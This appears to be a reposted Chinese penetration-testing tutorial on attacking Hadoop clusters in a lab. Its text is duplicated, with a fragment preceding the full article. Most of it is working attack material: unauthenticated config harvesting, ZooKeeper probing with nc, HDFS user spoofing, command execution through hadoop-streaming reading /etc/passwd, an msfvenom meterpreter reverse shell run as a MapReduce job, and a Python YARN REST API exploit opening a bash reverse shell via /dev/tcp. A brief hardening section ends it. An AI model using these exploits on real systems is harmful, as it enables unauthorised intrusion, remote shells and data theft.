3、执行hdfs命令访问hadoop中hdfs
hdfs 为 Hadoop 分布式文件系统 (HDFS), 简单理解: 该文件系统跟本地文件系统一样均可用来存放数据、文件,不同的是它是分布式,数据存在多台机器的本地系统上,也就是说 HDFS 还是需要依赖于本地文件系统。
查看 hdfs 文件系统的根目录,存在 3 个目录。

hdfs dfs -ls /






 
假设前面的core-site.xml未配置成功,访问 hdfs 根目录则会出现本地根目录.





 
Hadoop 部分重要服务端口
以下的端口都是我们渗透的过程中会遇到的
1、Hdfs 部分服务端口
 端口作用
 9000fs.defaultFS,如:hdfs://172.25.40.171:9000 50070dfs.namenode.http-address 监控状态http页面端口 
 
这个9000端口的作用是前面我们把hdfs://master:9000写入了core-site.xml文件,让我们实现了访问hdfs,假设在之前的配置文件不写的话即可通过指定的方式访问hdfs dfs -ls hdfs://master:9000/



50070则是可以通过 http 页面查看 hdfs 状态。

http://192.168.1.200:50070/





这个 Live Nodes 比较重要能查看到当前集群存活的节点信息。








比较重要的还有Utilities,即可以浏览文件系统 (HDFS),和查看日志(可能留存敏感信息)




这边即是图形界面访问,之前我们是通过命令行方式




均可实现 download,在真实内网渗透中这时候你就可以扒扒看是否有你需要的数据。

文件所有者是hadoop,权限为rwxr-xr-x意味着可读不可写。突破实现写的问题我们后面展开。





2、yarn部分服务端口
端口作用8088yarn.resourcemanager.webapp.address,YARN的http端口

http://192.168.1.200:8088/cluster/nodes

可以查看集群节点情况以及作业提交情况(后续攻击需要提交作业)




3、zookeeper 部分服务端口
 端口作用2181ZooKeeper,用来监听客户端的连接
 
zookeeper 属于 Hadoop 生态圈之一,存在未授权访问的问题

echo envi|nc 192.168.1.200 2181

可以存在部分敏感信息




连接 ZooKeeper 服务端

./zkCli.sh -server 192.168.1.200:2181

4、HBASE 部分服务端口
端口作用16010hbase.master.info.port,HMaster的http端口




Hbase 是非关系型分布式数据库,访问是没权限校验的
如果是hbase集群内的节点执行hbase shell即可以增删改查hbase
非集群节点使用Java API即可,网上有现成写好的方法实现操纵2、浏览 HDFS 数据
浏览 HDFS 数据有两种不同的方法:
1、WebHDFS API
2、Hadoop CLIWebHDFS
关于 WebHDFS 的访问方式前面简单提及了,就是通过访问50070端口的方式,但是默认是关闭,之前的页面只能 download,无法 put 等,需要通过hdfs-site.xml文件中的以下指令在群集端配置此功能的激活:

dfs.webhdfs.enabled: true

因为默认关闭,所以一般有业务需求才会开启,这边就不演示了,相关 REST API 语法自行查找。
Hadoop攻击包 中提供了一个hdfsbrowser.py脚本实现浏览的功能,主要是适应场景是无法进行 web 浏览访问,无 Hadoop 客户端的情况。




Hadoop CLI

hadoop fs 命令等同于 hdfs dfs 
hadoop fs -ls hdfs://master:9000/ 列出根路径的内容







hadoop fs -put core-site.xml hdfs://master:9000/user/hadoop/wcout/ 

上传文件被拒绝,由于攻击机kali当前用户为umask,不具备上传权限。



实现突破的方式
1、修改环境变量:export HADOOP_USER_NAME=hadoop
因为脚本在获取用户名的时候就是采取读环境变量的方法,这边直接篡改掉。



2、创建一个与 hdfs 具备权限的同名用户去访问(不推荐,在某些情况下(依托跳板机)可能不具备创建用户等权限,且徒增账号增加危险性)




3、如果采用JAVA API的方式进行hdfs操作可以在代码中设置:

System.setProperty("HADOOP_USER_NAME","hadoop");

或者传参的方式

java -D HADOOP_USER_NAME=root

Hadoop API文档:

https://hadoop.apache.org/docs/stable/api/index.html

3、免密登录
在分布式架构下因为需要master节点要启动 Hadoop 每个进程 (datanode, namenode 等这些进程),都需要手动输入启动进程所在的机器(集群节点)的用户密码。以及在关闭时,也是需要手动输入密码,这样过于繁琐。所以一般都会配置集群机器之间使用秘钥登录,这样就无需手动输入密码了。
这就暴露出一个问题,假设拿到了集群中master节点的用户权限 (shell),那它可以通过免密登录到集群中任何一台节点,意味着整个集群沦陷。

官方配置文档把配置免密 ssh 作为配置 hadoop 的前提条件,且几乎国内所有的配置教程也采用免密 ssh

1、我先把master与slave1之间ssh密钥登录去掉,然后启动hadoop相关业务.从图中可以看大在去掉密钥的情况下我输入了2次密码,分别是master和slave1,假设集群数量为上百上千,光输密码这个工作量就是很大的。




2、master节点上生成公钥分发到所需的节点上,启动 hadoop 服务未出现要密码,实际中则可利用这一点来登录到任意节点上




但这边就会出现 1 个问题,master是可以无密码登录任意节点,但是任意节点无法无密钥访问到其他节点乃至master
但是我网上查看了些搭建Hadoop集群的教程,发现有些教程密钥登录这一步骤给的操作最终是可以实现集群任意节点间登录的,所以这个情况需要看实际中运维人员怎么部署的。
所以拿到 shell 后可以看下authorized_keys文件内是什么情况
发现所有节点ip信息可以利用以下方式:
hosts 文件 /一般写一个模板然后分发到所有节点
内部 DNS
50070 端口上的 Live Nodes 
ip 可能连续 /例如 192.168.1.200 201 2024、执行远程命令
通过访问之前的http://192.168.1.200:50070/conf页面获取到如下name的value信息并且应用到kali本地hadoop客户端。(如果部分信息如可尝试更换端口)
1、hdfs-site.xml
 
<configuration> <property> <name>dfs.namenode.secondary.http-address</name> <value>master:50090</value> </property></configuration>
2、core-site.xml
 
<configuration> <property> <name>fs.defaultFS</name> <value>hdfs://master:9000</value> </property></configuration>
3、yarn-site.xml
 
<configuration> <property> <name>yarn.resourcemanager.hostname</name> <value>master</value> </property></configuration>
4、mapred-site.xml
 
<configuration> <property> <name>mapreduce.framework.name</name> <value>yarn</value> </property> <property> <name>mapreduce.jobhistory.address</name> <value>master:10020</value> </property> <property> <name>mapreduce.jobhistory.webapp.address</name> <value>master:19888</value> </property></configuration>
执行单个命令
例如执行命令

cat /etc/passwd
hadoop jar share/hadoop/tools/lib/hadoop-streaming-2.7.7.jar --input /user/hadoop/wcout/README.txt -output /user/hadoop/outcommand -mapper "/bin/cat /etc/passwd" -reducer NONE

解释:
hadoop-streaming-2.7.7.jar:

http://hadoop.apache.org/docs/r1.0.4/cn/streaming.html

-input:这将作为要执行的命令的 MapReduce 的输入提供,仅在该文件中至少放置一个字符,此文件对我们的目标无用
-output:MapReduce 将使用此目录写入结果,_SUCCESS 否则将失败
-mapper:要执行的命令,例如 "/bin/cat /etc/passwd"。输出结果将写入 -output 目录
-reducer NONE:不需要 reduce 执行单个命令,映射器就足够了
检测 output 情况:命令执行完出现如下字眼说明执行成功。



hadoop fs -cat hdfs://master:9000/user/hadoop/outcommand/part-00000
成功执行命令且写入进 output 目录







获取 meterpreter
上述执行单个命令的方式,每次只能执行一次写入一次,不够灵活存在局限性,下面采取反弹得到 meterpreter 的方式。
1、生成 payload

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 -f elf -o msf.payload

2、put payload 到 hdfs (不带目录即默认目录 /user/hadoop)

hadoop fs -put msf.payload

3、msf 监听




4、执行反弹

hadoop jar share/hadoop/tools/lib/hadoop-streaming-2.7.7.jar --input /user/hadoop/wcout/README.txt -output /user/hadoop/outcommand5 -mapper "./msf.payload" -file "./msf.payload" -background

-file /本地的 meterpreter 可执行文件上传到 HDFS 上的路径
-mapper /可执行的 meterpreter 的 HDFS 路径
-background /后台运行




5、msf 成功建立连接

=0.875em




这边可以看到得到的 shell 是slave1的,这是因为MapReduce作业的分布式性质,随机落到某个集群节点,这边的payload需要使用reverse shell反弹的,因为如果采用正向连接,假设集群节点众多,你可能不知道要连接到哪个 ip.

假设落到 slave 上但是我需要 master 权限,只要 ssh 免密过去就好了。关于这个问题前面也提及了。




5、Hadoop Yarn REST API 未授权漏洞利用
YARN 是 hadoop 系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把 MapReduce 计算框架作为一个应用程序运行在 YARN 系统之上,通过 YARN 来管理资源。简单的说,用户可以向 YARN 提交特定应用程序进行执行,其中就允许执行相关包含系统命令。yarn 默认 8088 端口
1、检测漏洞存在方式:

curl -X POST 192.168.1.200:8088/ws/v1/cluster/apps/new-application






2、漏洞利用 python 代码:
 
import requeststarget = 'http://192.168.1.200:8088/'lhost = '192.168.1.8' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'resp = requests.post(url)print(resp.text)app_id = resp.json()['application-id']url = target + 'ws/v1/cluster/apps'data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN',}print (data)requests.post(url, json=data)
3、nc 监听 9999 端口得到 shell









 
4、msf 也提供了漏洞模块,这边就不演示了。

msf5 > use exploit/linux/http/hadoop_unauth_exec

这边提供一个 vulhub 的关于 Yarn REST API 未授权漏洞利用的靶场链接,各位可自行测试,就无需搭建 Hadoop 环境了。

https://vulhub.org/#/environments/hadoop/unauthorized-yarn/

6. 暂定
Hadoop 作为一个生态圈存在,存在的安全问题自然很多。
这边算是先暂定为 1.0 版本,后续陆续更新增加丰富。安全加固
攻破 Hadoop 集群并不是非常难。这主要是因为默认安全机制的不严格,以及生态环境的复杂性而导致的。不仅如此,各大发行版也存在许多传统漏洞。
1、开启 kerberos 认证,参考:

http://hadoop.apache.org/docs/r2.7.3/hadoop-auth/Configuration.html

2、敏感页面以及目录最好也不要对普通用户开放,可 nginx 方向代理、iptables 解决。
(jmx/logs/cluster/status.jsp/)
3、hadoop 集群单独部署 做好安全监控发现被攻击迹象及时高警
4、避免让服务在公网中暴露
5、不要在边缘节点布置应用
6、更新软件版本参考
挖掘分布式系统——Hadoop 的漏洞

https://zhuanlan.zhihu.com/p/28901633

Hadoop 攻击库

https://github.com/wavestone-cdt/hadoop-attack-library

Hadoop Yarn REST API 未授权漏洞利用挖矿分析

https://www.freebuf.com/vuls/173638.html

Hadoop Yarn REST API 未授权漏洞利用

https://www.cnblogs.com/junsec/p/11390634.html

Hadoop safari : Hunting for vulnerabilities

http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf

Hadoop 安全问题介绍以及安全加固


https://mp.weixin.qq.com/s?__biz=MzAwOTczODMxMw==&amp;mid=2651013365&amp;idx=1&amp;sn=62a561cf8e11cee5df554f3757a4d48e&amp;chksm=80ace1d3b7db68c59a531e6a562d65277ca211e0e3e9161eee1e8fd5a140b8146e67167b5da6#rd

 
  查看全部
原文:https://mp.weixin.qq.com/s/UbXlHsXrCEQFydrwuQHEMA
最近因为某些原因学习接触到了开源的大数据框架:Hadoop,该框架允许使用简单的编程模型跨计算机集群对大型数据集进行分布式处理。它旨在从单个服务器扩展到数千台机器,每台机器都提供本地计算和存储,详细概念知识背景我这就不介绍了,各位自行学习。
所以自己启发了这个大数据的框架是否有安全问题,毕竟Hadoop在大型企业是很常见的(之前参与某单位渗透测试也碰见过),可能有同学没见过,这是因为Hadoop一般在内网中部署,业务端口不对外的,估如果没进行到内网横向渗透阶段是比较难见到的。
本文技术含量可能不高,攻击手法等均非原创,写本文的出发点是自己遇到的时候百度相关漏洞,知识点过于零散且这块资料较少,所以本文进行了搜集整理,实现一些复现,让各位在内网渗透的过程中如果遇到以最少的时间成本、不需要深入了解hadoop即可实现攻击、拿到权限的目的。


Hadoop 是个生态圈,非单一软件,而是由 HDFS、YAERN、MapReduce、Zookeeper、Hbase 等组件提供支持。


环境准备及说明
hadoop 版本: 2.7.1(节点) 2.7.7(kali攻击机) 
目前最新稳定版本已经为 3.2.1,在 3.x 系列下未试验过不保证均存在以下安全问题。
采取完全分布式模式部署
管理 Hadoop 的用户名:hadoop
 主机名Ip功能master192.168.1.200主节点(管家角色、管理从节点)slave1192.168.1.201从节点1kali192.168.1.8kali攻击机
 设置 Hadoop 攻击环境
提前设置工作环境以执行某些特定的攻击
1、下载 Hadoop 安装包


wget https://mirrors.tuna.tsinghua.edu.cn/apache/hadoop/common/hadoop-2.7.7/hadoop-2.7.7.tar.gz


2、解压


tar xvf hadoop-2.7.7.tar.gz


3、设置JAVA_HOME环境变量


export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-i386


4、(可选)将Hadoop的bin路径添加到PATH环境变量


export PATH=$PATH:/opt/hadoop-2.7.7/bin


5、测试


hadoop version


6、下载 Hadoop 攻击包(后续使用)


git clone https://github.com/wavestone-cdt/hadoop-attack-library.git


Hadoop 存在的安全问题汇总1、信息收集
获取目标环境配置
必须在客户端 (kali) 的不同文件中配置几个集群参数,才能与 Hadoop 集群进行交互。
在内网中如何确定某台机器为Hadoop两种办法:
1、通过端口探测的方式(nmap),
2、通过 http 访问某些业务端口确定hadoop

1.jpg

 
1、在 Hadoop 攻击包中存在 HadoopSnooper,该脚本允许攻击者通过Hadoop组件的 Web 界面上公开的配置文件轻松检索合适的最小客户端配置。
我这边的话就不采取脚本的方式而是手工的方式(初次手工熟悉过程).
进入在kali中hadoop的配置目录: <hadoop_installation>/etc/hadoop
2、手工访问8088或50070、8042、16010等端口查看 conf 配置,脚本就是爬取 hadoop 配置生成到本地,实现自动化。
hadoop 相关端口详情后面介绍,打开下面的链接:


http://192.168.1.200:50070/conf



2.jpg

 
我们先提取fs.defaultFS保存到本地core-site.xml文件内(conf 内存在大量 Hadoop 的配置信息,这边算是信息泄露一个点,无验证即可访问到。)

3.jpg

 
3、执行hdfs命令访问hadoop中hdfs
hdfs 为 Hadoop 分布式文件系统 (HDFS), 简单理解: 该文件系统跟本地文件系统一样均可用来存放数据、文件,不同的是它是分布式,数据存在多台机器的本地系统上,也就是说 HDFS 还是需要依赖于本地文件系统。
查看 hdfs 文件系统的根目录,存在 3 个目录。


hdfs dfs -ls /



4.jpg

 
假设前面的core-site.xml未配置成功,访问 hdfs 根目录则会出现本地根目录.

5.jpg

 
Hadoop 部分重要服务端口
以下的端口都是我们渗透的过程中会遇到的
1、Hdfs 部分服务端口
 端口作用
 9000fs.defaultFS,如:hdfs://172.25.40.171:9000 50070dfs.namenode.http-address 监控状态http页面端口 
 
这个9000端口的作用是前面我们把hdfs://master:9000写入了core-site.xml文件,让我们实现了访问hdfs,假设在之前的配置文件不写的话即可通过指定的方式访问hdfs dfs -ls hdfs://master:9000/
6.jpg

50070则是可以通过 http 页面查看 hdfs 状态。


http://192.168.1.200:50070/


7.jpg

这个 Live Nodes 比较重要能查看到当前集群存活的节点信息。
8.jpg

9.jpg

比较重要的还有Utilities,即可以浏览文件系统 (HDFS),和查看日志(可能留存敏感信息)
10.jpg

这边即是图形界面访问,之前我们是通过命令行方式
11.jpg

均可实现 download,在真实内网渗透中这时候你就可以扒扒看是否有你需要的数据。


文件所有者是hadoop,权限为rwxr-xr-x意味着可读不可写。突破实现写的问题我们后面展开。


12.jpg

2、yarn部分服务端口
端口作用8088yarn.resourcemanager.webapp.address,YARN的http端口


http://192.168.1.200:8088/cluster/nodes


可以查看集群节点情况以及作业提交情况(后续攻击需要提交作业)
13.jpg

3、zookeeper 部分服务端口
 端口作用2181ZooKeeper,用来监听客户端的连接
 
zookeeper 属于 Hadoop 生态圈之一,存在未授权访问的问题


echo envi|nc 192.168.1.200 2181


可以存在部分敏感信息
14.jpg

连接 ZooKeeper 服务端


./zkCli.sh -server 192.168.1.200:2181


4、HBASE 部分服务端口
端口作用16010hbase.master.info.port,HMaster的http端口
15.jpg

Hbase 是非关系型分布式数据库,访问是没权限校验的
如果是hbase集群内的节点执行hbase shell即可以增删改查hbase
非集群节点使用Java API即可,网上有现成写好的方法实现操纵2、浏览 HDFS 数据
浏览 HDFS 数据有两种不同的方法:
1、WebHDFS API
2、Hadoop CLIWebHDFS
关于 WebHDFS 的访问方式前面简单提及了,就是通过访问50070端口的方式,但是默认是关闭,之前的页面只能 download,无法 put 等,需要通过hdfs-site.xml文件中的以下指令在群集端配置此功能的激活:


dfs.webhdfs.enabled: true


因为默认关闭,所以一般有业务需求才会开启,这边就不演示了,相关 REST API 语法自行查找。
Hadoop攻击包 中提供了一个hdfsbrowser.py脚本实现浏览的功能,主要是适应场景是无法进行 web 浏览访问,无 Hadoop 客户端的情况。
16.jpg

Hadoop CLI


hadoop fs 命令等同于 hdfs dfs 
hadoop fs -ls hdfs://master:9000/ 列出根路径的内容



17.jpg


hadoop fs -put core-site.xml hdfs://master:9000/user/hadoop/wcout/ 


上传文件被拒绝,由于攻击机kali当前用户为umask,不具备上传权限。
18.jpg

实现突破的方式
1、修改环境变量:export HADOOP_USER_NAME=hadoop
因为脚本在获取用户名的时候就是采取读环境变量的方法,这边直接篡改掉。
19.jpg

2、创建一个与 hdfs 具备权限的同名用户去访问(不推荐,在某些情况下(依托跳板机)可能不具备创建用户等权限,且徒增账号增加危险性)
20.jpg

3、如果采用JAVA API的方式进行hdfs操作可以在代码中设置:


System.setProperty("HADOOP_USER_NAME","hadoop");


或者传参的方式


java -D HADOOP_USER_NAME=root


Hadoop API文档:


https://hadoop.apache.org/docs/stable/api/index.html


3、免密登录
在分布式架构下因为需要master节点要启动 Hadoop 每个进程 (datanode, namenode 等这些进程),都需要手动输入启动进程所在的机器(集群节点)的用户密码。以及在关闭时,也是需要手动输入密码,这样过于繁琐。所以一般都会配置集群机器之间使用秘钥登录,这样就无需手动输入密码了。
这就暴露出一个问题,假设拿到了集群中master节点的用户权限 (shell),那它可以通过免密登录到集群中任何一台节点,意味着整个集群沦陷。


官方配置文档把配置免密 ssh 作为配置 hadoop 的前提条件,且几乎国内所有的配置教程也采用免密 ssh


1、我先把master与slave1之间ssh密钥登录去掉,然后启动hadoop相关业务.从图中可以看大在去掉密钥的情况下我输入了2次密码,分别是master和slave1,假设集群数量为上百上千,光输密码这个工作量就是很大的。
21.jpg

2、master节点上生成公钥分发到所需的节点上,启动 hadoop 服务未出现要密码,实际中则可利用这一点来登录到任意节点上
22.jpg

但这边就会出现 1 个问题,master是可以无密码登录任意节点,但是任意节点无法无密钥访问到其他节点乃至master
但是我网上查看了些搭建Hadoop集群的教程,发现有些教程密钥登录这一步骤给的操作最终是可以实现集群任意节点间登录的,所以这个情况需要看实际中运维人员怎么部署的。
所以拿到 shell 后可以看下authorized_keys文件内是什么情况
发现所有节点ip信息可以利用以下方式:
hosts 文件 /一般写一个模板然后分发到所有节点
内部 DNS
50070 端口上的 Live Nodes 
ip 可能连续 /例如 192.168.1.200 201 2024、执行远程命令
通过访问之前的http://192.168.1.200:50070/conf页面获取到如下name的value信息并且应用到kali本地hadoop客户端。(如果部分信息如可尝试更换端口)
1、hdfs-site.xml
 
<configuration> <property> <name>dfs.namenode.secondary.http-address</name> <value>master:50090</value> </property></configuration>
2、core-site.xml
 
<configuration> <property> <name>fs.defaultFS</name> <value>hdfs://master:9000</value> </property></configuration>
3、yarn-site.xml
 
<configuration> <property> <name>yarn.resourcemanager.hostname</name> <value>master</value> </property></configuration>
4、mapred-site.xml
 
<configuration> <property> <name>mapreduce.framework.name</name> <value>yarn</value> </property> <property> <name>mapreduce.jobhistory.address</name> <value>master:10020</value> </property> <property> <name>mapreduce.jobhistory.webapp.address</name> <value>master:19888</value> </property></configuration>
执行单个命令
例如执行命令


cat /etc/passwd
hadoop jar share/hadoop/tools/lib/hadoop-streaming-2.7.7.jar --input /user/hadoop/wcout/README.txt -output /user/hadoop/outcommand -mapper "/bin/cat /etc/passwd" -reducer NONE


解释:
hadoop-streaming-2.7.7.jar:


http://hadoop.apache.org/docs/r1.0.4/cn/streaming.html


-input:这将作为要执行的命令的 MapReduce 的输入提供,仅在该文件中至少放置一个字符,此文件对我们的目标无用
-output:MapReduce 将使用此目录写入结果,_SUCCESS 否则将失败
-mapper:要执行的命令,例如 "/bin/cat /etc/passwd"。输出结果将写入 -output 目录
-reducer NONE:不需要 reduce 执行单个命令,映射器就足够了
检测 output 情况:命令执行完出现如下字眼说明执行成功。
23.jpg

hadoop fs -cat hdfs://master:9000/user/hadoop/outcommand/part-00000
成功执行命令且写入进 output 目录
24.jpg

25.jpg

获取 meterpreter
上述执行单个命令的方式,每次只能执行一次写入一次,不够灵活存在局限性,下面采取反弹得到 meterpreter 的方式。
1、生成 payload


msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 -f elf -o msf.payload


2、put payload 到 hdfs (不带目录即默认目录 /user/hadoop)


hadoop fs -put msf.payload


3、msf 监听
26.jpg

4、执行反弹


hadoop jar share/hadoop/tools/lib/hadoop-streaming-2.7.7.jar --input /user/hadoop/wcout/README.txt -output /user/hadoop/outcommand5 -mapper "./msf.payload" -file "./msf.payload" -background


-file /本地的 meterpreter 可执行文件上传到 HDFS 上的路径
-mapper /可执行的 meterpreter 的 HDFS 路径
-background /后台运行
27.jpg

5、msf 成功建立连接

=0.875em
28.jpg


这边可以看到得到的 shell 是slave1的,这是因为MapReduce作业的分布式性质,随机落到某个集群节点,这边的payload需要使用reverse shell反弹的,因为如果采用正向连接,假设集群节点众多,你可能不知道要连接到哪个 ip.


假设落到 slave 上但是我需要 master 权限,只要 ssh 免密过去就好了。关于这个问题前面也提及了。
29.jpg

5、Hadoop Yarn REST API 未授权漏洞利用
YARN 是 hadoop 系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把 MapReduce 计算框架作为一个应用程序运行在 YARN 系统之上,通过 YARN 来管理资源。简单的说,用户可以向 YARN 提交特定应用程序进行执行,其中就允许执行相关包含系统命令。yarn 默认 8088 端口
1、检测漏洞存在方式:


curl -X POST 192.168.1.200:8088/ws/v1/cluster/apps/new-application



30.jpg

2、漏洞利用 python 代码:
 
import requeststarget = 'http://192.168.1.200:8088/'lhost = '192.168.1.8' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'resp = requests.post(url)print(resp.text)app_id = resp.json()['application-id']url = target + 'ws/v1/cluster/apps'data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN',}print (data)requests.post(url, json=data)
3、nc 监听 9999 端口得到 shell
31.jpg


32.jpg

 
4、msf 也提供了漏洞模块,这边就不演示了。


msf5 > use exploit/linux/http/hadoop_unauth_exec


这边提供一个 vulhub 的关于 Yarn REST API 未授权漏洞利用的靶场链接,各位可自行测试,就无需搭建 Hadoop 环境了。


https://vulhub.org/#/environments/hadoop/unauthorized-yarn/


6. 暂定
Hadoop 作为一个生态圈存在,存在的安全问题自然很多。
这边算是先暂定为 1.0 版本,后续陆续更新增加丰富。安全加固
攻破 Hadoop 集群并不是非常难。这主要是因为默认安全机制的不严格,以及生态环境的复杂性而导致的。不仅如此,各大发行版也存在许多传统漏洞。
1、开启 kerberos 认证,参考:


http://hadoop.apache.org/docs/r2.7.3/hadoop-auth/Configuration.html


2、敏感页面以及目录最好也不要对普通用户开放,可 nginx 方向代理、iptables 解决。
(jmx/logs/cluster/status.jsp/)
3、hadoop 集群单独部署 做好安全监控发现被攻击迹象及时高警
4、避免让服务在公网中暴露
5、不要在边缘节点布置应用
6、更新软件版本参考
挖掘分布式系统——Hadoop 的漏洞


https://zhuanlan.zhihu.com/p/28901633


Hadoop 攻击库


https://github.com/wavestone-cdt/hadoop-attack-library


Hadoop Yarn REST API 未授权漏洞利用挖矿分析


https://www.freebuf.com/vuls/173638.html


Hadoop Yarn REST API 未授权漏洞利用


https://www.cnblogs.com/junsec/p/11390634.html


Hadoop safari : Hunting for vulnerabilities


http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf


Hadoop 安全问题介绍以及安全加固



https://mp.weixin.qq.com/s?__biz=MzAwOTczODMxMw==&amp;mid=2651013365&amp;idx=1&amp;sn=62a561cf8e11cee5df554f3757a4d48e&amp;chksm=80ace1d3b7db68c59a531e6a562d65277ca211e0e3e9161eee1e8fd5a140b8146e67167b5da6#rd